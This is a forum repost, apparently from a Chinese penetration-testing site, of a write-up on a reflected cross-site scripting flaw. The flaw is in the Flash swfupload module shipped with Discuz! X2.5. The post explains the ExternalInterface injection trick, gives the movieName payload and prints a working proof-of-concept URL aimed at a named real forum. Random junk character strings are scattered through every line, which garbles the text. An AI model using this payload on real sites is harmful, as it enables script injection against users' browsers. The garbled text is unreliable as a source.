中国网络渗透测试联盟

标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站 [打印本页]

作者: admin    时间: 2013-2-23 12:50
标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说
+ r, w5 ^. D: V6 @- |& l1 N) E3 j& `0 D% U$ B
flash.external.ExternalInterface.call($methodName, $parameter)
  @5 V& g! A6 y! |# o! q  @在浏览器中执行的是0 n, d3 G! P1 d/ X: B! t

. X& r5 X& r% h/ {try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
* S; U& X- ]7 r0 c0 `  q' S2 I对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
. c/ j8 u1 R" P# ]5 a; R/ k" S/ `7 H3 b' P& Y7 Z& x
flash.external.ExternalInterface.call("object."+$methodName, $parameter)3 G& ?7 i' |# V8 z' c. U7 w
$methodName = a())}catch(e){alert(/xss/)}//  L7 v( a$ F* n# f
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
- q! v. V( r( W' ]8 W/ x% a1 N) m- d
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }$ l" b( ^" j8 o" I# R# ?

5 C3 J; v  t7 ?! W这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
7 b5 ]6 y  F2 O0 u# b! _杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。: i  P5 Q6 v9 v4 Y

& ~- w! F% Z3 S* @# ?+ u- S; Z
# O1 J, I- s) o) C/ c# U
漏洞文件:upload\static\image\common\swfupload.swf- z$ [, I2 @2 A  l
7 @: l$ V1 e1 Y! R# n) N# D
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf! ^' \# X& _0 i

0 o8 A' Z6 j9 |3 h; u$ G; y: a9 f% L+ U5 s; {2 ]7 }5 T# s
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
0 U* i9 j! Y  J6 Y5 q" j2 t; N) g, b( V; v0 o5 U  Z0 A4 q
* K( z$ \# ~, j





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2